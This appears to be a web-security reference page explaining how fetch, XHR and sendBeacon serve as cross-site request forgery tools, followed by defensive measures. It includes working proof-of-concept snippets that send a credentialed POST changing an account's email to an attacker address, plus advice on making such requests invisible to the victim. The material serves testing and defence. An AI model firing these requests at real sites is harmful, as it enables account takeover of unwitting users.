fetch, XHR, and sendBeacon
mode: 'no-cors', credentials: 'include', the safelisted-header guard, and the opaque response.
More control, less reach
Scripted requests look like the obvious CSRF tool — you can set the method, the body, and (in principle) the headers. In 2026 they are usually the weakest option, for one structural reason: they are subresource requests, not navigations.
That single fact removes them from the only row of the cookie matrix that still works by default. A fetch from an attacker page carries a cookie only when the cookie is SameSite=None; Secure, and even then only in Chromium — Firefox partitions it and Safari blocks it outright.
There are two further traps that make scripted PoCs fail silently:
- Credentials are opt-in.
fetchdefaults tocredentials: 'same-origin'. Forget'include'and the request goes out with no cookies at all — it is not blocked, it just proves nothing. no-corssilently drops headers. SettingContent-Type: application/jsoninno-corsmode does not throw; the header is simply discarded and the server seestext/plain.
Both produce a PoC that appears to run cleanly and demonstrates nothing. Use a form unless you specifically need what a script gives you.
fetch
// The CSRF-shaped fetch. no-cors means "I accept an unreadable response", so
// the browser skips CORS entirely: no preflight, no Access-Control-* needed.
fetch('https://api.example/account', {
method: 'POST',
mode: 'no-cors',
// Without this line the request carries NO cookies. fetch defaults to
// 'same-origin' and the attacker page is not same-origin. This is the
// single most common reason a scripted PoC quietly does nothing.
credentials: 'include',
// Only the three CORS-safelisted values survive in no-cors mode. Anything
// else is dropped without an error -- application/json here would leave
// the server seeing text/plain.
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'email=attacker@evil.example',
})
// The response is opaque: status 0, body null, headers empty -- whether the
// server returned 200 or 403. Confirm the effect on the target itself.XMLHttpRequest
// XHR predates no-cors, so it ALWAYS makes a CORS request. There is no way
// to opt out of the read restriction, which means non-simple shapes preflight
// and there is no opaque-response escape hatch.
//
// Practically: XHR can do everything a simple-request fetch can and nothing
// more. It is worth recognising because a lot of published PoCs use it.
var x = new XMLHttpRequest()
x.open('POST', 'https://api.example/account', true)
// The XHR spelling of credentials: 'include'. Same trap -- without it, no
// cookies are attached and the PoC proves nothing.
x.withCredentials = true
x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
x.send('email=attacker@evil.example')sendBeacon
// sendBeacon is always POST and always includes credentials -- there is no
// opt-in to forget. Its content type comes from the Blob, and it is limited
// to the CORS-safelisted values, so it is the text/plain trick's natural
// scripted partner.
//
// Its real advantage is that it survives page unload: the request is queued
// by the browser and sent even as the tab closes. That makes it the quietest
// scripted delivery -- there is no visible navigation and nothing to see in
// the tab that fired it.
//
// It is still a subresource, so Lax and Strict both block it regardless.
var body = new Blob(
['{"email":"attacker@evil.example"}'],
{ type: 'text/plain' }
)
navigator.sendBeacon('https://api.example/account', body)
// Returns true if the request was successfully QUEUED -- not if it succeeded.
// There is no response to inspect at all.Choosing between them
When a scripted delivery is worth using
Given that a form reaches more targets, reach for a script only when you need something a form cannot do:
- The cookie is
SameSite=Noneand you want the attack to be invisible — no navigation, nothing on screen. - You need many requests, for a race condition or to brute-force a value. A form navigates away after one.
- You are chaining after a CORS misconfiguration and can actually read responses — at which point the finding is the CORS issue, and this is how you demonstrate its impact (CORS-Assisted CSRF).
- You need
sendBeacon's unload survival to fire as the victim leaves. - You are testing whether custom-header enforcement is real. If the endpoint requires
X-Requested-With, try sending it: the preflight that results is the defence working. If the request goes through anyway, the header was not being enforced.
Prevention
The scripted deliveries are already the best-defended, but the controls worth naming:
- Require a custom header on API routes —
X-Requested-With: XMLHttpRequestis the traditional spelling. It cannot be set cross-site without a preflight, so an attacker's page cannot supply it. This is a genuine defence for XHR/fetch traffic and does nothing at all against a form, so it is not a complete answer. - Do not reflect
OriginintoAccess-Control-Allow-Origin, and never combine a reflected origin withAccess-Control-Allow-Credentials: true. That combination converts a blind write into a read-and-write. Access-Control-Allow-Origin: *is incompatible with credentials and the browser enforces that — a wildcard is not the vulnerability it is often reported as, unless the endpoint needs no credentials in the first place.- Reject
Sec-Fetch-Mode: corswithSec-Fetch-Site: cross-siteon state-changing routes, alongside the navigate case. See Origin, Referer, and Fetch Metadata.
Related
CORS gates reading, not sending. Simple versus preflighted requests, opaque responses, and why write-without-read is enough for CSRF.
The urlencoded and multipart form: the only primitive that issues a cross-site request with a body, ambient credentials, and no preflight.
Smuggling a JSON document through enctype="text/plain", content-type confusion in body parsers, and GraphQL over GET and form encodings.
Reflected Access-Control-Allow-Origin with credentials, null origin allowlists, and the upgrade from a blind write to read-and-write.
Exactly when Lax, Strict, None, and an absent attribute attach a cookie to a cross-site request — and why the three engines disagree.
The handshake is a subresource GET with no CORS — which is why it needs Origin validation, and why SameSite=None is its precondition.
Sec-Fetch-Site, Mode and Dest, Origin checks done correctly, the missing-header decision, and Resource Isolation Policy.